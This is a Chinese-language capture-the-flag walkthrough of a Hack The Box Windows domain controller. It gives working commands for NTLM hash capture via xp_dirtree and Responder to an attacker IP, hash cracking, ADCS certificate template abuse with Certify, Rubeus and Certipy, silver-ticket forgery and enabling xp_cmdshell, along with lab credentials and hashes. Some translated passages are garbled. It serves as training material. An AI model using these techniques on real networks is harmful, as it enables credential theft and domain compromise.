端口扫描开放
SMB (445)、NetBIOS (135/139)、LDAP (389 等) 和 WinRM (5985),以及通常在 DC 上监听的 53 (DNS) 和 88 (Kerberos)。还有一个 MSSQL 服务器 (1433)。
加入/hosts
10.10.11.202 dc.sequel.htb sequel.htb dc
nmap扫描里面有有关证书的提示
Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.sequel.htb
了解一下正在使用的 TLS 证书,使用openssl
拉取和格式化它
oxdf@hacky$ openssl s_client -showcerts -connect 10.10.11.202:3269 | openssl x509 -noout -text ...[snip]... Certificate: Data: Version: 3 (0x2) Serial Number: 1e:00:00:00:04:90:52:7b:fc:91:38:74:2f:00:00:00:00:00:04 Signature Algorithm: sha256WithRSAEncryption Issuer: DC = htb, DC = sequel, CN = sequel-DC-CA Validity Not Before: Nov 18 21:20:35 2022 GMT Not After : Nov 18 21:20:35 2023 GMT Subject: CN = dc.sequel.htb Subject Public Key Info: Public Key Algorithm: rsaEncryption ...[snip]...
有趣的是,请注意颁发证书的证书颁发机构,续集sequel-DC-CA。
smb枚举
smbclient //10.10.11.202/Public -N
get "SQL Server Procedures.pdf"
尝试枚举数据库(mssql触发responder获得hash)
该服务器上有四个数据库:
mssqlclient.py sequel.htb/PublicUser:GuestUserCantWrite1@dc.sequel.htb
SQL (PublicUser guest@master)> select name from master..sysdatabases; name ------ master tempdb model msdb
这些是MSSQL 上的四个默认数据库。
我要接着枚举mssql
还有其它集中可以枚举的方向
-
检查 DNS 的区域传输/暴力破解子域。
-
枚举 LDAP,包括或不包括凭据。
-
使用凭证来运行 Bloodhound。
-
使用凭证来对 Kerberoast 进行攻击。
-
通过 Kerberos 暴力破解用户名/密码。
后续如果mssql枚举无果可以来尝试
xp_cmdshell whoami 失败
启动
EXECUTE sp_configure 'show advanced options', 1也是失败
数据库中没有有趣的数据,也无法运行命令接下来要尝试的是让 SQL 服务器重新连接到我的主机并进行身份验证,然后捕获我可以尝试暴力破解的质询/响应。可以看Querier以及通过 NTLMv2 获取凭据的帖子中展示了这一点。
利用responder捕捉
sudo python3 Responder.py -I tun0
想尝试一下能不能捕捉到smb的
利用mssql读取主机上共享上的文件:
EXEC xp_dirtree '\10.10.14.6\share', 1, 1;
-
'\\10.10.14.6\share'
:-
这是路径参数,指定要检索其列表的目录。
-
它应该是文件系统上的有效路径,在本例中,它是 IP 地址为“10.10.14.6”且共享名称为“share”的网络共享。
-
-
1
:-
这是深度参数。
-
它指定要检索的目录列表的深度级别。在本例中,它设置为“1”,意味着仅返回指定目录中的直接文件和子目录。
-
-
1
:-
这是标志参数。
-
它控制输出格式以及有关文件和目录的附加信息。
-
当设置为“1”时,它包括附加信息,例如文件或目录大小和日期。
-
总之,xp_dirtree
在此上下文中,执行该过程以列出位于“\10.10.14.6\share”的网络共享中的文件和子目录。它检索目录直接级别的信息,输出包括文件或目录大小和日期等详细信息。
responder的监听就会返回hash值
sql_svc::sequel:903888d6cc8311eb:761B09654C1B356477D996132AA281B9:01010000000000A421ABF13EDA01CEEF3E482DEEB823000000000200080032004C004700330001001E00570049004E002D00500043004B004B0057004500510045005400310004003400570049004E002D00500043004B004B0057004500450051004500540031002E0032004C00470033004C004F00430041004C000300140032004C00470033002E004C004F00430041004C000500140032004C00470033002E004C004F0043004C000700080000A421ABF13EDA010600040002000000080030003000000000000000000000000030000067ADCAB21C720CA2FAD053862578BC37126CD711F3E9C534A2C6BC18B4670A001000000000000000000000000000000000000900200063006900660073002F0030002E00310030002E00310036002E00310036000000000000000000
利用hashcat破解
hashcat sql_svc_netntmlv2 /usr/share/wordlists/rockyou.txt
获得账号密码,登入
evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie
提权
开始枚举
sql_svc 主目录基本是空的。Ryan.Cooper 是主机上唯一一个拥有主目录的用户
枚举到C:\SQLServer\Logs> type ERRORLOG.BAK
查看后发现有个logon Ryan.Cooper failed 后面有个密码,尝试一下
evil-winrm -i 10.10.11.202 -u ryan.cooper -p NuclearMosquito3
Windows 域中始终需要枚举的一件事是查找 Active Directory 证书服务 (ADCS)。检查这一点的快速方法是使用crackmapexec
(它可以作为 sql_svc 或 Ryan.Cooper):
crackmapexec ldap 10.10.11.202 -u ryan.cooper -p NuclearMosquito3 -M adcs
-M adcs
: 这指定了要使用的模块,即 adcs
。在这个上下文中,adcs
可能是指与 Active Directory Certificate Services 相关的模块,用于测试与证书服务有关的漏洞或配置。
有一个和上面一样的CA
这边这个尝试没有成功
识别易受攻击的模板(利用证书获取tgt)
方法一上传certipy.exe工具
扩展
https://posts.specterops.io/certified-pre-owned-d95910965cd2这个是adcs的扩展
upload Certify.exe
.\Certify.exe find /vulnerable /currentuser
会列出一个易受攻击的证书模板
-
模板名称:我们这里有“UserAuthentication”模板,可用于通过 Kerberos 或 LDAP 对用户进行身份验证。
-
注册权限:提到该域的域用户可以注册证书。由于我们的用户 Ryan 是域用户的一部分,因此我们可以使用他的帐户。
-
msPKI-Certificate-Name-Flag:它提到“ENROLLEE SUPPLIES SUBJECT”,这意味着我们可以向证书模板提供主题。在这种情况下,我们将添加主题“altname”,它指的是替代名称[我们将使用管理员作为替代名称,然后代表管理员获取证书,稍后我们将使用该证书以管理员身份进行身份验证。]
Certify.exe
我可以通过接下来运行以请求具有管理员备用名称的证书来继续自述文件场景 3 。它返回一个cert.pem
:
.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:administrator
ca:CA Name template:Template Name
自述文件和该输出的末尾都显示了下一步。我会将所有内容复制-----BEGIN RSA PRIVATE KEY-----
到-----END CERTIFICATE-----
主机上的文件中,并.pfx
使用给定的命令将其转换为 a,出现提示时不输入密码:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
我将上传cert.pfx
以及Rubeus的副本(从SharpCollection下载),然后运行asktgt
命令,向其传递证书以作为管理员获取 TGT:
.\Rubeus.exe asktgt /user:administrator /certificate:C:\programdata\cert.pfx
有用!但是,Rubeus 尝试将返回的票证直接加载到当前会话中,因此理论上,一旦我运行此命令,我就可以进入管理员的文件夹并获取标志。然而,这对 Evil-WinRM 不起作用。
相反,我将使用 运行相同的命令/getcredentials /show /nowrap
。这将执行相同的操作,并尝试转储有关帐户的凭据信息:
.\Rubeus.exe asktgt /user:administrator /certificate:C:\programdata\cert.pfx /getcredentials /show /nowrap
最后一行是管理员帐户的 NTLM 哈希值。
方法2利用certipy工具
完成同样事情的替代工具是Certipy,它很好,因为我可以从我的虚拟机远程运行它。它有一个find
命令可以识别易受攻击的模板:不过这个我没有尝试
certipy find -u ryan.cooper -p NuclearMosquito3 -target sequel.htb -text -stdout -vulnerable
req
获得证书:.pfx``Certify.exe``openssl
certipy req -u ryan.cooper -p NuclearMosquito3 -target sequel.htb -upn administrator@sequel.htb -ca sequel-dc-ca -template UserAuthentication
该auth
命令将获取该证书 ( administrator.pfx
) 并获取哈希值。
certipy auth -pfx administrator.pfx
Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
制作银票
白银票据(How Attackers Use Kerberos Silver Tickets to Exploit Systems – Active Directory Security)
自己的理解:相当于就是tgs发送的AT是在本地伪造的(AT中的一部分是需要server密钥解密码的得到cs_sk对另一部分解密,里面部分信息和客户端第二部分内容带来的自己的信息进行比对,最终确认该客户端就是经过了KDC认证的具有真实身份的客户端,是他可以提供服务的客户端),当攻击机在知道server的hash密码时,就可以本地伪造AT了,然后直接访问服务
为了创建或伪造银票,攻击者必须了解目标服务的密码数据(密码哈希)。如果目标服务在用户帐户的上下文中运行,例如 MS SQL,则需要服务帐户的密码哈希才能创建银票
通常,当我想要对 MSSQL 进行身份验证时,我会要求提供服务主体名称 (SPN) 的 Kerberos 票证。该请求发送到密钥分发中心 (KDC)(通常是域控制器),在其中查找与该 SPN 关联的用户,检查所请求的用户是否应该具有访问权限,并在几轮通信后返回用户的票证,使用服务帐户的 NTLM 哈希对其进行加密。现在,当用户将该票证提供给服务时,服务可以对其进行解密并将其用作身份验证。
在银票攻击中,与 DC 的所有通信都会被跳过。攻击者伪造服务票证(也称为 TGS),并使用服务帐户的 NTLM 对其进行加密。
我有 sql_svc 帐户的 NTLM 哈希值。MSSQL 服务没有分配 SPN(如果有,我可以要求 DC 生成一个服务票证,该票证将使用 sql_svc 的哈希进行加密,然后对其进行修改)。不过,我这里不需要 DC。我可以使用 Impacket 工具在本地伪造服务票证,使用 sql_svc 的 NTML 哈希对其进行加密,然后连接到 MSSQL。该票证不适用于任何其他服务,但我将能够模拟 MSSQL 上的任何用户。
要生成 Silver Ticket,我将使用ticketer.py
,它需要以下信息:
-
sql_svc 的 NTLM 哈希。
-
域 SID。
-
域名。
-
SPN(不必是有效的 SPN)。
-
要模拟的用户的名称。
我已经获得了sequel.htb的域名。
我已经获得了 sql_svc 的密码,但我需要 NTLM 哈希。有很多在线工具可以为您计算。这对于 HTB 来说效果很好,但如果这是真正的参与,我不想将客户数据放入不受信任的网站。
我将在 Python 中使用hashlib
. NTLM 是 MD4 具有 UTF-16 小结尾的密码编码:
>>> import hashlib >>> hashlib.new('md4', 'REGGIE1234ronnie'.encode('utf-16le')).digest() b'\x14C\xec\x19\xdaM\xacO\xfc\x95;\xca\x1bW\xb4\xcf'
为了很好地打印它,我将使用hex()
:REGGIE1234ronnie这个时前面获得的sql_svc的密码
>>> hashlib.new('md4', 'REGGIE1234ronnie'.encode('utf-16le')).digest().hex() '1443ec19da4dac4ffc953bca1b57b4cf'
Get-ADDomain
( docs ) 返回有关域的信息,包括 SID:
*Evil-WinRM* PS C:\Users\sql_svc\Documents> Get-ADDomain | fl DomainSID DomainSID : S-1-5-21-4078382237-1492182817-2568127209
使用ticketer.py
告知以下信息:
oxdf@hacky$ ticketer.py -nthash 1443ec19da4dac4ffc953bca1b57b4cf -domain-sid S-1-5-21-4078382237-1492182817-2568127209 -domain sequel.htb -spn doesnotmatter/dc.sequel.htb administrator Impacket v0.10.1.dev1+20230608.100331.efc6a1c3 - Copyright 2022 Fortra [*] Creating basic skeleton ticket and PAC Infos [*] Customizing ticket for sequel.htb/administrator [*] PAC_LOGON_INFO [*] PAC_CLIENT_INFO_TYPE [*] EncTicketPart [*] EncTGSRepPart [*] Signing/Encrypting final ticket [*] PAC_SERVER_CHECKSUM [*] PAC_PRIVSVR_CHECKSUM [*] EncTicketPart [*] EncTGSRepPart [*] Saving ticket in administrator.ccache
它计算必要的信息并将 TGS 保存在administrator.ccache
. 我将使用KRB5CCNAME
环境变量告诉我的系统使用该服务票证进行身份验证。export KRB5CCNAME=administrator.ccache
这可以通过运行或在每个命令之前添加来完成KRB5CCNAME=administrator.ccache
(我将用它来显示它的使用位置)。KRB5CCNAME=administrator.ccache``ccache
:此环境变量指定用户“管理员”的Kerberos 票证缓存 ( ) 文件的位置。它通常用于存储身份验证期间获得的 Kerberos 票证。
KRB5CCNAME=administrator.ccache mssqlclient.py -k dc.sequel.htb
从现在起,我可以以管理员身份从框中读取文件:(sql里面)
SELECT * FROM OPENROWSET(BULK N'C:\users\ryan.cooper\desktop\user.txt', SINGLE_CLOB) AS Contents BulkColumn
您提供的 SQL 查询似乎正在使用该OPENROWSET
函数从文件中读取数据。具体来说,它尝试读取位于的文件的内容C:\users\ryan.cooper\desktop\user.txt
并将其作为单个 CLOB(字符大对象)值进行检索。
以下是查询的细分:
SELECT * FROM OPENROWSET(BULK N'C:\users\ryan.cooper\desktop\user.txt', SINGLE_CLOB) AS Contents;
-
OPENROWSET
:该函数用于从文件或数据源读取数据。它允许您从外部源访问数据。 -
BULK
:该关键字与 结合使用,OPENROWSET
表示数据源是文件。 -
N'C:\users\ryan.cooper\desktop\user.txt'
:这是读取数据的文件路径。它是一个位于C:\users\ryan.cooper\desktop\user.txt
. -
SINGLE_CLOB
:指定正在读取的数据的格式。在这种情况下,它表明数据被视为单个 CLOB(字符大对象)值。 -
AS Contents
:这将为检索到的数据分配一个列别名“Contents”。 -
执行
xp_cmdshell
仍然处于禁用状态,但与 sql_svc 不同,管理员用户有权启用它:SQL (sequel\Administrator dbo@master)> xp_cmdshell whoami [-] ERROR(DC\SQLMOCK): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online. SQL (sequel\Administrator dbo@master)> EXECUTE sp_configure 'show advanced options', 1 [*] INFO(DC\SQLMOCK): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL (sequel\Administrator dbo@master)> RECONFIGURE SQL (sequel\Administrator dbo@master)> EXECUTE sp_configure 'xp_cmdshell', 1 [*] INFO(DC\SQLMOCK): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL (sequel\Administrator dbo@master)> RECONFIGURE SQL (sequel\Administrator dbo@master)> xp_cmdshell whoami output -------------- sequel\sql_svc
命令仍然作为 sql_svc 运行。这是因为 sql_svc 仍然是运行 MSSQL 服务的进程。它只能与操作系统协商以管理员身份读取文件,因为它有该票证。
通过以管理员身份读写文件,我可以将其转变为以管理员身份执行。此 PayloadsAllTheThings 页面显示了各种方法。我在 HackBack 中展示了 DiagHub 方法,尽管它已经被修补了。我在 Proper 中展示了 WerTrigger 方法,我相信该方法仍然有效。
或者我可以通过 MSSQL 使用 shell 并SeImpersonatePrivilege
通过 Potato 漏洞进行滥用(正如我之前多次展示的那样)。